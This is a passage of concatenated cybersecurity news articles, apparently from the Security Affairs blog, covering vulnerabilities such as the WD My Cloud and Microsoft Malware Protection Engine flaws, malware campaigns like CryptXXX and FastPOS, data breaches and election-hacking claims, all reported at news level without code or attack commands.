new technologies by the end of the program.”, According to Nextgov, the experts explained that nearly 100,000 lines of code, corresponding to 70 percent of the code, have to be replaced within this summer., “Boeing is on track to replace all the code on the vehicle by the end” confirmed  Launchbury., According to Launchbury the Little Bird does not carry any weapons systems, it will be used mainly for reconnaissance and control of the territory., The participants to the project confirmed that the software isolate all communications between the ground station and the drone avoiding any external interference., “Its main purpose is to rewrite and secure the mission computer on board the Little Bird,” Launchbury said., The approach of the research team is considerable innovative, they developed from scratch a programming language free from security vulnerabilities., “We’ve developed a new programming language that is provably free from those vulnerabilities,” he said. “The approach is to transition the programming language we’ve developed, called Ivory, to Boeing so that they can rewrite their systems.” said Lee Pike, Galois research lead for cyber-physical systems. , As Fisher highlighted, the Hack-proof software despite is designed to be resilient to external attacks, exactly like any other software could be affected by design errors, for this reason it is crucial the adoption of coding best practices., The Little Bird “could still crash, but that would be because the system as it was shipped had a flaw — it wouldn’t be crashing because a malicious party did something to manipulate it,” she said. “Somebody from the outside can’t break in and access it, and then cause it to do something that it wasn’t supposed to do.”, Pierluigi Paganini, (Security Affairs – drone, UAV)

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Ahead of the Trump-Putin meeting in Helsinki on Monday, the US President announced that he might ask the extradition of the 12 Russian intelligence officers accused of attempting to interfere with the 2016 presidential election., Trump will meet with Putin in Finland, despite calls from Democratic lawmakers to cancel the summit in light of indictments., Journalist asked Trump whether he would request the extradition to the US of the Russian intelligence officers accused of hacking Hillary Clinton‘s presidential campaign, and the reply was clear, “Well, I might.” Trump said, “I hadn’t thought of that. But I certainly, I’ll be asking about it, but again, this was during the Obama administration. They were doing whatever it was during the Obama administration.”, Trump confirmed that Russian hackers targeted the 2016 Presidential election, but denied that they supported his campaign, he added that his Republican Party had also been hit by Russian hackers., “I think the DNC (Democratic National Committee) should be ashamed of themselves for allowing themselves to be hacked,” he said. “They had bad defenses and they were able to be hacked. But I heard they were trying to hack the Republicans too. But — and this may be wrong — but they had much stronger defenses.”, The President blamed the DNC for poor security of its systems., , The attempts of hacking of “old emails” of the Republican National Committee was first reported by the CNN in January last year when it quoted the then-FBI Director James Comey., Comey told a Senate panel that “old emails” of the Republican National Committee had been the target of hacking, but the material was never publicly released. Comey confirmed that there was no evidence the current RNC or the Trump campaign had been successfully hacked., Trump admitted that he was going to meet Putin with “low expectations.”, “I’m not going with high expectations,” he added., “I think it’s a good thing to meet,” he said. “I believe that having a meeting with Chairman Kim was a good thing. I think having meetings with the president of China was a very good thing.”, “I believe it’s really good. So having meetings with Russia, China, North Korea, I believe in it. Nothing bad is going to come out of it, and maybe some good will come out.”, Pierluigi Paganini, (Security Affairs – Trump-Putin meeting, hacking)

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Last week I had the opportunity to discuss with my father of adverse economic situation and in particular of the Italian public spending. I have introduced some reference to the arms and in particular cyber weapons., What are they? What are the threats we face? What is the social cost to fight and mitigate the threats?, Without any surprise, I soon realized that he was not informed on the subject. I retried the experiment in the following days asking same questions to the common people, from workers to the engineers, through some politicians, and even into the latter category have not found the expected response.  The level of awareness of the threat is very low and I believe this is due to the will of the governments intend to give information on the subject. The argument is thorny, uncomfortable, on which the debate is always “open” to an audience of specialists is often restricted. Unthinkable for common people that a computer virus can cause damage to the real world and that its development process can be very expensive. A millionaire investment to create a weapon capable of undermining the proper functioning of control systems of a nuclear power plant with obvious consequences on the population. When describing the threats people remain perplexed, amazed … is it possible that the shadow of a malware can cause death in the real world? Unfortunately yes., Recently the Pentagon has announced the development of a list of cyber-weapons and tools that include malware capable of sabotaging the critical systems of a possible hostile countries. The United States does not represent an exception, the tendency to strong investment in the sector is widespread. The integration of cyber-technologies into government arsenals is perhaps the most significant operational development in military cyber doctrine in years., I propose to you some passages from an article (List of cyber-weapons developed by Pentagon to streamline computer warfare) published in The Washington Post, “The framework clarifies, for instance, that the military needs presidential authorization to penetrate a foreign computer network and leave a cyber-virus that can be activated later. The military does not need such approval, however, to penetrate foreign networks for a variety of ther activities. These include studying the cyber-capabilities of adversaries or examining how power plants or other networks operate. Military cyber-warriors can also, without presidential authorization, leave beacons to mark spots for later targeting by viruses.”, I find these sentences full of meaning that make the idea of the perceived level of critical facilities and government Agencies.  To give a dimension to investment made is absolutely impossible because of the paucity of information available about the topics, for sure we are dealing with figures that represent a substantial portion of the major expenditure budget of a Nation. If we are dealing with a government commitment so strong and threats that can definitely affect the security of a Nation like a pandemic flu, why do not provide transparency on the subject?  Why should  taxpayers  not be sensitized on the issues?, In 2009, official sources claimed a voice in the Cyber ​​Defense spending in just six months of about $ 100 Million . We are facing is the tip of the iceberg, do not need much imagination to understand the dimensions of the expenses incurred in the last two years., So far we dealt with those who are the direct costs incurred by Nations to meet the threats of cyber attacks, ignoring the impact of these have on the social fabric and in particular about the companies. The productive apparatus of a nation is composed of a multitude of companies who suffer the threats significantly. Consequence is the increase in expenditure that they incur in order to deal with obvious adverse impact on their finances., Let’s give a look on interesting benchmark Study of U.S. Companies, the Second Annual Cost of Cyber Crime Study., , We are dealing with a vicious mechanism for which the economic difficulty that arises on the approach to cyber threats, has led to a more or less overt instability of supply and its cost of production. Loss of jobs, loss of competitiveness of our companies, inability to protect the know-how of the company, they represent a cost that the taxpayer always pays ignoring it!, Of course my post is intended as a starting point for a series of reflections on the impact of cyber threat in daily life with particular reference to the economic impact that is perceived by the citizen., Let us consider an open discussion of which this article will be the introduction and whose continuation is in your hands., Thanks, Pierluigi Paganini,  , Resorces:,

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Western Digital Corporation network-attached storage owners were warned of Critical flaws in Western Digital NAS boxes of the My Cloud NAS line could be exploited by remote attackers to gain remote control of the affected devices., The attackers can combine the flaws to steal sensitive data or to exploit flawed devices in lateral movements., “By combining the vulnerabilities documented in this advisory an attacker can fully compromise a WD My Cloud device. In the worst case one could steal sensitive data stored on the device or use it as a jump host for further internal attacks.”, “SEC Consult recommends not to attach WD My Cloud to the network until a thorough security review has been performed by security professionals and all identified issues have been resolved.” reads the advisory published by SCVL., The affected products belong to Western Digital MyCloud NAS devices, including DL4100, EX4, EX2 Ultra and PR2100. The full list of flawed devices is available online., The attackers can trigger the flaw to bypass logins, insert commands, upload files without permission, and gain control of boxes., “This is a serious vulnerability, as the chances for the device to be fully compromised is very high,” explained the SEC Consult Vulnerability Lab (SCVL)., The flaws have been reported by SCVL experts to Western Digital on Jan. 18, 2016 and publicly disclosed the flaw March 7, 2017. Another group of experts from the security firm Exploitee.rs have discovered the vulnerabilities and publicly disclosed them., The flaws discovered by the experts include a command injection vulnerabilities, a stack-based buffer overflow bug, and a cross-site request forgery flaw.  As anticipated, by combining the exploitation of the cross-site request forgery issue with a command injection vulnerability the attacker can gain root access of the affected device and fully compromise it., “The (cross-site request forgery flaw) can be combined with a command injection vulnerability to gain complete control (root access) of the affected device,” explained the advisory issued by the SCVL., As of this writing, Western Digital has not provided any information regarding the vulnerabilities or supplied software updates to fix the reported bugs., , According to the researchers at Exploitee.rs, in December, the expert Steve Campbell discovered two command injection flaws in Western Digital MyCloud NAS (CVE-2016-10107 & CVE-2016-10108) that were patched by the company in the same month, but according to Exploitee.rs the patches did not fix the problems and introduced a new Login Bypass vulnerability., The Exploitee.rs researcher Zenofex who analyzed the Login Bypass issue discovered a wrong implementation of the user authentication mechanism when the Secure Shell (SSH) access was enabled. The login check leverage on cookies that can be crafted by an attacker to bypass the login process., “The above code contains a function called “login_check”, this function is used by all of the backend PHP scripts and is used to verify pre-authenticated users. The above code has two paths, one which involves checking the session values for “username” and “isAdmin” and another (if the prior fails) attempts to complete the same process but with cookies.” explained Zenofex., “Because cookies are supplied by the user, the requirements that the scripts are looking for can be met by the attacker. The above process for sessions and cookies is summed up as follows., This means that any time there is a login check within the PHP scripts, an attacker is able to bypass the check by supplying 2 specially crafted cookie values.”, The experts at Exploitee.rs have found 85 security issues tied to Western Digital My Cloud NAS devices, My Cloud users can contact the Customer Service for any question and to receive support. It is important that My Cloud NAS devices are configured to enable automatic firmware updates., Pierluigi Paganini, (Security Affairs – Western Digital My Cloud devices,  hacking)

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Microsoft issued an emergency Windows Security Update to address a critical vulnerability, tracked as CVE-2017-11937, that affects the Malware Protection Engine (MPE)., The emergency fix comes a few days before Microsoft is scheduled to roll out its December Patch Tuesday updates., The critical RCE flaw could be exploited by an attacker to take full control of a victim’s PC. The Malware Protection Engine (MPE) is the main component of the Windows defense system and it implements basic features like scanning, detection, and cleaning., The Windows Malware Protection Engine is enabled by default and it is used by Microsoft antivirus and antimalware software implemented in its solutions, including Windows Defender and Microsoft Security Essentials along with Endpoint Protection, Forefront Endpoint Protection, and Exchange Server 2013 and 2016, impacting Windows 7, Windows 8.1, Windows 10, Windows RT 8.1, and Windows Server., The CVE-2017-11937 flaw is a memory corruption vulnerability that is triggered when the Malware Protection Engine scans a specially crafted file for a malicious code., Triggering the flaw, the attacker can execute malicious code in the security context of the LocalSystem account and take full control of the target’s computer, this means that it could install further malicious code and create accounts with maximum privileges., “A remote code execution vulnerability exists when the Microsoft Malware Protection Engine does not properly scan a specially crafted file, leading to memory corruption. An attacker who successfully exploited this vulnerability could execute arbitrary code in the security context of the LocalSystem account and take control of the system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.” reads the security advisory published by Microsoft., “To exploit this vulnerability, a specially crafted file must be scanned by an affected version of the Microsoft Malware Protection Engine.”, To trigger the flaw, a remote attacker could place a specially crafted malicious file in a location that is scanned by the Malware Protection Engine and this is possible to do in many ways. An attacker, for example, could set up a website to deliver a specially crafted file that is scanned when the victim visits the site., Another possible attack vector is represented by email, the attacker could deliver a specially crafted file via emails, it is also possible to exploit Instant Messenger services for the same purpose., , “There are many ways that an attacker could place a specially crafted file in a location that is scanned by the Microsoft Malware Protection Engine.” continues Microsoft. , “For example, an attacker could use a website to deliver a specially crafted file to the victim’s system that is scanned when the website is viewed by the user. An attacker could also deliver a specially crafted file via an email message or in an Instant Messenger message that is scanned when the file is opened. In addition, an attacker could take advantage of websites that accept or host user-provided content, to upload a specially crafted file to a shared location that is scanned by the Malware Protection Engine running on the hosting server.”, Microsoft has released an out-of-band critical update to address the vulnerability is urging users to install it as soon as possible., For enterprise deployments as well as end users, the default configuration in Microsoft antimalware software helps ensure that malware definitions and the Microsoft Malware Protection Engine are kept up to date automatically, The critical CVE-2017-11937 vulnerability was reported to Microsoft by the UK’s National Cyber Security Centre (NCSC), a division of the UK GCHQ intelligence agency., Microsoft assured that the vulnerability was not exploited in attacks in the wild., Pierluigi Paganini, (Security Affairs – CVE-2017-11937 vulnerability, Windows)

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The best news of the week with Security Affairs., First of all let me inform you that at the #infosec16 SecurityAffairs was awarded as The Best European Personal Security Blog THANK YOU!, I desire to inform you that Security Affairs is now open to sponsored content. I’ll offer the opportunity to: •    Insert banners of various sizes in all the posts on Security Affairs. •    Publish sponsored posts written by the customers that can include any kind of commercial reference. •    Arrange a monthly/quarterly/annual campaign (for big customers) to advertise customers’ activities and discoveries. For more info contact me at pierluigi.paganini@securityaffairs.co Thanks for supporting Security Affairs., mc4wp_form id=”42321″, , Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter)

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The popular coding website Github suffered a large-scale distributed denial of service (DDoS) attack that lasted more than 24 hours starting from Thursday night., The attack exploited the redirection of users who were connecting to many other websites on the Internet. The attackers injected malicious JavaScript code into the pages of those websites that was responsible for the hijacking of their visitors to Github., The researcher analyzed the JavaScript code used in the attack and it appears like a sample of code available on pastebin., Visitors who tried to access several websites in Internet used has DDoS gunner, noticed that those websites was serving advertisements and tracking code from Chinese Baidu, the code used by attackers instructs browsers of visitors to those websites to connect GitHub.com every two seconds. The technique allowed the attackers to generate “an extremely large amount of traffic,” according to researcher Anthr@x from Insight-labs., The attackers have chosen the Baidu search engine because it has an impressive amount of visitors that were recruited with this technique in the attack that resulted in the massive flood of traffic on the Github website., In time I’m writing Baidu denied any responsibility for the redirection mechanism exploited for the DDoS attacks:, “We’ve notified other security organizations,” states the company in an official statement, “and are working together to get to the bottom of this.“, , GitHub confirmed that the distributed denial-of-service attacks, caused irregular outages of the service., The experts speculate that the attackers are linked to the Chinese Government that used the browsers of unaware users to hit a website not “aligned” to the Government of Beijing., “What is happening here is pretty clear now: A certain device at the border of China’s inner network and the Internet has hijacked the HTTP connections went into China, replaced some javascript files from Baidu with malicious ones that would load, every two seconds., “In other words, even people outside China are being weaponized to target things the Chinese government does not like, for example, freedom of speech.” reported the post on insight-labs., , The attackers used this DDoS variant to hit two popular Github projects, the GreatFire and CN-NYTimes, that are two anti-censorship tools used to avoid censorship operated by China and cirmcument The Great Firewall Of China., Below the descripions of the two development groups active on Github platform., GitHub has informed the users that the company has deployed new defense to protect the website from attackers that are also responding by adapting their tactics, as reported by Status Message Board., “Restoring service for all users while deflecting attack traffic is our number one priority. We’ve deployed our volumetric attack defenses against an extremely large amount of traffic. Performance is stabilizing,” a message posted by Github at 15:04 UTC says., “We’ve been under continuous DDoS attack for 24+ hours. The attack is evolving, and we’re all hands on deck mitigating.”, Pierluigi Paganini, (Security Affairs –  DDoS,  GitHub)

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Security experts from security firm SentinelOne have analyzed the activity related to CryptXXX ransomware’s operators. They discovered that the gang made around $49,700 from the payment of ransoms between June 4 and June 21, 2016, the money were all collected through the same Bitcoin. The experts counted 61 payments for a total amount of 70 Bitcoin (roughly $35,000) from 61 payments., , The experts believe that the payments are related to CryptXXX ransoms, it wasn’t used before June 4, a circumstance that suggests that it might have been used for a specific ransomware campaign., “A new version of the CryptXXX family of ransomware has been discovered which is spreading through spam and perhaps other means. This latest iteration fixes flaws in its file encryption methods which prevents use of free decryption tools and makes it impossible to decrypt files without paying the ransom.” states the report from SentinelOne., “CryptXXX is an actively developed ransomware family. At the time of writing, this particular variant has led to the ransom payment of about $50,000 worth of Bitcoin. With this kind of success, it’s likely we’ll continue to see this family and other ransomware families continue to grow and evolve.”, CryptXXX ransomware was first spotted a couple of months ago, experts believe it allowed criminal organizations to earn a lot money., The experts noted an intense activity involving the malware that was spread in campaigns leveraging on Angler, Neutrino, and Magnitude exploit kits., Since April, CryptXXX has rapidly evolved, according to SentinelOne this last campaign involved a variant that fixed security flaws that allowed decrypting locked files without paying the ransom., In May, experts at Kaspersky Lab have updated their decryption tool to adapt to the second version of the CryptXXX ransomware in the RannohDecryptor 1.9.1.0., The last variant analyzed by SentinelOne was delivered as a malicious DLL that pretend to appear as a legitimate DLL from the CyberLink PowerDVD Cinema application., “A quick check of the malicious DLL’s properties reveals it’s using what appears to be the details of a legitimate DLL named _BigBang.dll from a product called CyberLink PowerDVD Cinema. After hunting down a legitimate copy of _BigBang.dll, though of a slightly older version, it’s clear that the details have been copied exactly.” states the report., The CryptXXX variant analyzed by the experts is also able to perform further operations to avoid analysis., The victim’s files are encrypted using a combination of RSA and RC4 algorithms and their extension is .cryp1 instead the .crypz used in the previous version of CryptXXX., “Ransom notes are created in each folder where a file is encrypted. One is in text and the other is in HTML. The text ransom note contains the following” continues the report., Experts have no doubts, the CryptXXX will continue to threaten users worldwide., Pierluigi Paganini, (Security Affairs – CryptXXX, ransomware)

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Security experts at Bromium have discovered a malware campaign using steganography to hide the GandCrab ransomware in a Mario graphic package. , According to Matthew Rowan, a researcher at Bromium, threat actors use steganography to hide the malicious code and avoid AV detection. , The steganography is used in conjunction with heavily obfuscated Microsoft PowerShell commands that attackers have hidden within the color channels of a picture of Mario, in a particularly manipulating blue and green pixels. , “Steganographic techniques such as using the low-bits from pixel values are clearly not new, but it’s rare that we see this kind of thing in malspam; even at Bromium, where we normally see slightly more advanced malware that evaded the rest of the endpoint security stack.” reads the analysis published by Rowan., “A manual re-shuffle to de-obfuscate the code and you can see more clearly the bitwise operation on the blue and green pixels. Since only the lower 4 bits of blue and green have been used, this won’t make a big difference to the image when looked at by a human, but it is quite trivial to hide some code within.”, This technique makes the threat hard to be detected by firewall and other defence systems., Experts pointed out that attackers are targeting users in Italy, but the campaign will likely extend to other countries worldwide., “The manually de-obfuscated PowerShell reveals the final level which is dropping and executing from a site, but only if the output of ‘get-culture’ on the machine matches “ita” (for example if the culture is Italian, which matches the earlier targeting attempts).” continues the expert., Experts were able to download the samples from the address in the de-obfuscated Powershell, including from an Italy-based VPN, and discovered several samples of the Gandcrab ransomware. , Additional details, including IoCs are reported in the analysis published by the security firm Bromium , * Update:, Update: Thanks to the ZLab team for getting in touch and pointing out that the final EXE samples are actually Ursnif and not Gandcrab as reported above. My attribution was based on the few AV tools that were detecting this at the time claiming it as Gandcrab, but they have subsequently updated. The ZLab team also wrote about this threat here., Pierluigi Paganini, (SecurityAffairs – steganography, hacking),

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Early March, security experts discovered a critical vulnerability codenamed FREAK (CVE-2015-0204), also known as Factoring Attack on RSA-EXPORT Keys, which could be exploited by threat actors to run  man-in-the-middle attacks on encrypted traffic when Internet users visited supposedly secured websites., By exploiting the FREAK flaw an attacker can force clients to use older and weaker encryption, then he can crack the traffic protected with 512-bit key encryption in a few hours. Once decrypted the traffic a threat actor can steal sensitive information or launch an attack by injecting malicious code., Yesterday OpenSSL Team announced the presence of another critical vulnerability in the library that will be fixed with by a new update anticipated with an official advisory. Which is actual exposure to FREAK attacks for iOS and Android applications?, FireEye firm has published the report  that reveal a disconcerting reality,  despite vendors issued patched for Android and iOS, several apps are still vulnerable to FREAK attacks when connecting to servers that accept RSA_EXPORT cipher suites. Many iOS apps are still vulnerable to FREAK attack despite Apple has recently the iOS 8.2 version for its mobile devices., “Even after vendors patch Android and iOS, such apps are still vulnerable to FREAK when connecting to servers that accept RSA_EXPORT cipher suites,” states FireEye in a blog post “That’s why some iOS apps are still vulnerable to FREAK attack after Apple fixed the iOS FREAK vulnerability in iOS 8.2 on March 9.”, FireEye scanned 10,985 popular Google Play Android apps and discovered that nearly 11.2 percent are vulnerable to the FREAK attack because they use a vulnerable OpenSSL library., These 1228 apps have been downloaded over 6.3 billion times. Of these 1228 Android apps (1,228 apps), 664 use Android’s bundled OpenSSL library and 564 have their own compiled OpenSSL library. All these OpenSSL versions are vulnerable to FREAK., Analyzing the vulnerable apps the researchers discovered that 664 applications are using Android’s bundled OpenSSL library and 564 custom compiled library., The situation is better for Apple devices, only 771 of 14,000 apps scanned resulted vulnerable., “These apps are vulnerable to FREAK attacks on iOS versions lower than 8.2,” the researchers wrote. “Seven these 771 apps have their own vulnerable versions of OpenSSL and they remain vulnerable on iOS 8.2.” continues the report., The researchers have grouped the apps into several categories (photo and video apps, lifestyle, social networking, health fitness, finance, communication, shopping, business and medical apps), in the following graph is reported the number of vulnerable apps by category.,  , , The report includes an example of the tests executed by FireEye, the experts tries the exploitation of the FREAK vulnerability affecting a popular shopping app. The researchers exploited the flaw to successfully steal user’s login credentials and credit card information., ,  , Pierluigi Paganini, (Security Affairs – mobile apps, FREAK)

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According to Kenya opposition, led by Raila Odinga, hackers have manipulated the results of the recent election by breaking into the database of Kenya’s electoral commission., The President Uhuru Kenyatta was re-elected and èrotests and violence broke out almost immediately., “At least 24 people, including a 9-year-old girl, have been killed in Kenya in the violence that erupted after the re-election of President Uhuru Kenyatta, according to the Kenya National Commission on Human Rights.” reported the CNN., Raila Odinga claims hackers have used the credential of a murdered employee of the electoral commission (IEBC), Chris Msando, to hack into an electronic voting system and manipulate the votes., Msando was a top IT official at the IEBC that was tortured and killed in late July., The politician supported his accusation by releasing an alleged log from an IEBC server that confirms it was altered to increase Kenyatta’s totals by 11 percent and hide the manipulation., “These results are fake, it is a sham. They cannot be credible,” Odinga told journalists., “This is an attack on our democracy. The 2017 general election was a fraud.”, He later released what he claimed was a log from an IEBC server to support his allegations that the server was configured to increase Kenyatta’s totals by 11 percent and cover up the modifications., At the time I was writing the log was not yet verified by any independent researcher., The electoral commission (IEBC) results showed Kenyatta obtaining 54.4 percent of the nearly 13 million ballots tallied, against Odinga’s 44.7 percent., Odinga refused the result of the election and claims Kenyatta’s skullduggery, according to the politicians the hackers manipulated the results for both the presidential and the general election., “The electoral fraud and fabrication of results was massive,” Odinga said. “It has always been common knowledge that Uhuru Kenyatta’s regime was a fraud. This takes Mr Kenyatta and deputy president William Ruto’s fraud … to another level.”, Odinga did not reveal the source of his information to protect it., Odinga is inviting his supporters to “remain calm as we look deep into this matter,”, Pierluigi Paganini, (Security Affairs – Kenya election, Kenya opposition)

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Security experts at Trend Micro have spotted a new strain of PoS malware dubbed FastPOS that is able to quickly exfiltrate harvested data., The malware was used by threat actors to target both enterprises and SMBs in several countries across the world, including the United States, Brazil, France, Japan, Hong Kong, and Taiwan., The FastPOS  malware is usually served via compromised websites, via VNC access using stolen credentials or brute-force attacks, or through a file sharing service., “Take the case of this newly discovered PoS malware which is notable for its speed in how the information is stolen and sent back to attackers. We call this malware FastPOS, due to the said speed and efficiency of its credit card theft capabilities.” Trend Micro wrote in a detailed report on the FastPOS malware., Like other PoS malware, FastPOS scrapes the memory of the infected device to steal payment card data and it also logs keystrokes, but different from other PoS malware it sends the harvested data immediately back to the C&C server that is hardcoded in the malware., The C&C server also hosts a crime forum that specializes in selling payment card data., , The RAM scraping feature implemented by FastPOS relies on a custom algorithm that checks the card validity and the fact that the card can be used internationally and it does not require a PIN., “The main RAM scraping process handled by the second thread and a custom algorithm is implemented in the following flow: , In order to avoid detection, FastPOS maintains log keystrokes in memory, without writing them on the disk, a technique already implemented by other malware like NewPosThings., The keylogging feature collects several data including passwords, personal details, financial data and also the title of the window where the data has been entered., The threat exfiltrates data leveraging an HTTP GET request instead of a POST request, which is the privileged choice for data stealer malware., “One possibility is that the use of a GET command is designed to cause fewer suspicions – after all, this is the same command used when any browser retrieves a website,” continues Trend Micro., As explained by the experts at Trend Micro, FastPOS could be very effective in targeting small organizations thanks its quick and efficient exfiltration technique., Enjoy the report., Pierluigi Paganini, (Security Affairs – FastPOS, PoS malware)

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This summer, Sarahah became one of the most popular iPhone apps in the world for both iOS and Android., Sarahah has been created by Saudi Arabian developer Zain al-Abidin Tawfiq, it implements a social network that lets users send and receive anonymous messages., , It reached the top of the App Store in many regions, including Australia, Ireland, the U.S, and the UK., Created by Saudi Arabian developer Zain al-Abidin Tawfiq, the app is essentially a social network that lets you send and receive anonymous messages., Sarahah means “frankness” or “honesty” in Arabic, the name was chosen because the author believes that people are more willing to be honest when their messages are anonymized like the app does., Today the Sarahah app has more than 18 Million users that probably ignore that the app may not be as private as they believe., According to a report published by The Intercept, the app silently uploads users’ phone contacts to the company’s servers., The discovery was made by the security analyst Zachary Julian, he discovered that once users have installed the Sarahah app for the first time, it harvests and uploads data in the address book., “Zachary Julian, a senior security analyst at Bishop Fox, discovered Sarahah’s uploading of private information when he installed the app on his Android phone, a Galaxy S5 running Android 5.1.1. The phone was outfitted with monitoring software known as BURP Suite, which intercepts internet traffic entering and leaving the device, allowing the owner to see what data is sent to remote servers.” reads the report published by The Intercept. “When Julian launched Sarahah on the device, BURP Suite caught the app in the act of uploading his private data., “As soon as you log into the application, it transmits all of your email and phone contacts stored on the Android operating system,” he said. He later verified the same occurs on Apple’s iOS, albeit after a prompt to “access contacts,” which also appears in newer versions of Android. Julian also noticed that if you haven’t used the application in a while, it’ll share all of your contacts again. He did some testing on the app on a Friday night, and when he booted the app on a Sunday morning, it pushed all of his contacts again.”, , According to Zain al-Abidin Tawfiq, the contacts functionality was initially implemented to allow you to “‘find your friends’ feature.” anyway it would be removed in a future release., When first launched, this app harvests and uploads all phone numbers and email addresses in your address book. — The Intercept (@theintercept) August 27, 2017, , Zachary Julian highlighted that the privacy policy doesn’t mention uploading data to a server., “The privacy policy specifically states that if it plans to use your data, it’ll ask for your consent,” Julian said. While the app’s entry in Google’s Play Store does indicate the app will access contacts, that’s not “enough consent” to justify “sending all of those contacts over without any kind of specific notification,” he added., The good news is that users can block the app form accessing their contacts., Since Android 6.0 Marshmallow OS, users can limit permissions for apps, just go to, Settings → Personal → Apps, now under Configuration App, open App permission and set the permission according to your needs., Unfortunatel, around 54 percent of Android users are using older versions that don’t allow to limit permissions, and “users have to be savvy enough to know where to find the app permissions  and around 54 percent of Android users are using older versions that don’t have these permissions, and users have to be savvy enough to know where to find the app permissions (Settings > Apps > Gear button > App permissions).”, Pierluigi Paganini, (Security Affairs – Sarahah app, privacy)

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The Ubuntu online forums have been hacked for the second time in a few months and data of more than 2 Million users have been exposed., According to Ubuntu, the hackers exposed users’ data including usernames, email addresses, and IP addresses. The data breach was caused by the failure in applying a patch to the Ubuntu online forums., , The news was first reported by BetaNews that cited the official announcement from Canonical., “There has been a security breach on the Ubuntu Forums site. We take information security and user privacy very seriously, follow a strict set of security practices and this incident has triggered a thorough investigation.”  announced Jane Silber, Chief Executive Officer at Canonical. “Corrective action has been taken, and full service of the Forums has been restored. In the interest of transparency, we’d like to share the details of the breach and what steps have been taken. We apologize for the breach and ensuing inconvenience.”, Experts from Canonical discovered that hackers exploited a known SQL injection vulnerability in the Forumrunner add-on in Ubuntu online forums., The administrators of the Ubuntu online forums failed to fix the security vulnerability, despite such kind of issues are easy to patch once detected., This is really an embarrassing situation!, The attackers injected formatted SQL to the Forums database accessing the entire archive and included data., The attackers used the above access to download portions of the ‘user’ table containing data belonging more than 2 Million users., Fortunately, the passwords belonging to the Ubuntu online forums were Hashed and Salted as the Forums rely on Ubuntu Single Sign On for logins., “We know the attacker was NOT able to gain access to any Ubuntu code repository or update mechanism., We know the attacker was NOT able to gain access to valid user passwords., We believe the attacker was NOT able to escalate past remote SQL read access to the Forums database on the Forums database servers., We believe the attacker was NOT able to gain remote SQL write access to the Forums database., We believe the attacker was NOT able to gain shell access on any of the Forums app or database servers., We believe the attacker did NOT gain any access at all to the Forums front end servers., We believe the attacker was NOT able to gain any access to any other Canonical or Ubuntu services.” added the blog post published by Ubuntu., The incident raised a heated discussion about Canonical’s responsibility for the very bad patch management that exposed users data., Pierluigi Paganini, (Security Affairs – Ubuntu online forums, data breach)

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Infect Apple Mac PCs exploiting the Thunderbolt port is possible, the security researcher Trammell Hudson has demonstrated how it is possible during  the last edition of the annual Chaos Computer Congress in Hamburg, Germany., The researcher has demonstrated that it is possible to exploit the port by rewriting the firmware of an Intel Thunderbolt Mac. The hack, called Thunderstrike, exploit a well-known vulnerability in the Thunderbolt Option ROM that was first disclosed in 2012, but that still affects Apple Mac systems. Thunderstrike can infect the Apple, The Thunderstrike hack allows the attacker to infect the Apple Extensible Firmware Interface (EFI) by injecting the malware into the boot ROM of the targeted machine through infected Thunderbolt devices., , The Thunderstrike attack is very insidious because victims have no way to detect it, as explained by Trammell Hudson, even if the user completely re-install the OS X the machine will be still infected because the malicious code resides in the system’s own independent ROM., “How bad could a weaponized version of the Thunderstrike bootkit be? Since it is the first OS X firmware bootkit, there is nothing currently scanning for its presence. It controls the system from the very first instruction, which allows it to log keystrokes, including disk encryption keys, place backdoors into the OS X kernel and bypass firmware passwords. It can’t be removed by software since it controls the signing keys and update routines. Reinstallation of OS X won’t remove it. Replacing the SSD won’t remove it since there is nothing stored on the drive.” states the official post on the Thunderstrike hack., , Hudson also showed that he is also able to replace Apple’s own cryptographic key with a new one, in this way the attacker can maintain a persistent control on the system by avoiding that legitimate firmware updates from being accepted., “There are neither hardware nor software cryptographic checks at boot time of firmware validity, so once the malicious code has been flashed to the ROM, it controls the system from the very first instruction,” Trammell Hudson said. “It could use SMM and other techniques to hide from attempts to detect it.“, During its presentation, the expert also explained a technique to allow the bootkit to replicate itself to any connected Thunderbolt device. This infection method makes possible the diffusion of the malicious agent even if the attack targets an air-gapped network., , In addition to writing a custom code to the boot ROM, Hudson’s presentation also notes a method by which the bootkit could replicate itself to any attached Thunderbolt device, giving it the ability to spread across even air-gapped networks., It is important to highlight that in order to exploit the Thunderstrike hack an attacker must have physical access to the targeted machine., Apple has already patched part of the vulnerability in the latest Mac mini and on the iMac with 5K Retina Display, the company will soon provide the fix for the remaining products., Pierluigi Paganini, (Security Affairs –  Thunderstrike hack, hacking)

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This is the classic example of the lack of rules within underground communities, today we will speak about a group of hackers who targeted another group and is offering their data for sale at $500., According to MotherBoard, the hackers breached the hacking forum “Monopoly” that was popular due to the incursion of its members against international media organizations., Now the data stored in its database are offered on another private community dubbed “w0rm.” w0rm group is specialized in the sale of computer exploits and stolen data, one of its members is claiming to be selling the database of “Monopoly,” which offer credit card fraud, botnets, and spam., The precious archive is offered for $500, it is not clear which kind of data it includes (i.e. clear text passwords, salted hash, etc.), “Although it is unclear what the database actually contains, be that email addresses and/or passwords, it’s being advertised for a fairly humble $500. There doesn’t appear to be any sort of personal connection or grudge between w0rm and Monopoly. Instead, the listing seems to be purely for the sake of business.” states Joseph Cox from Motherboard., As correctly highlighted by Cox, despite it is quite easy to find any kind of stolen data in the underground, it is relatively rare to observe crooks selling access to data obtained from criminal community., w0rm is a group of Russian hackers that hit headlines in late 2013, when they took over a BBC server, a few months later the crew breached the systems of the technology website CNET, VICE, and the Washington Post. The hackers offered for sale the databases of the VICE and CNET for 1 bitcoin each., w0rm offered hundreds of zero-days through its website at prices ranging between $500 and $30,000., , According to MotherBoard that reported the news, a representative of the w0rm website explained that they offer exploits with the intent to highlight security vulnerabilities to “make the internet a safer place.”, Pierluigi Paganini, (Security Affairs – w0rm, hacking)

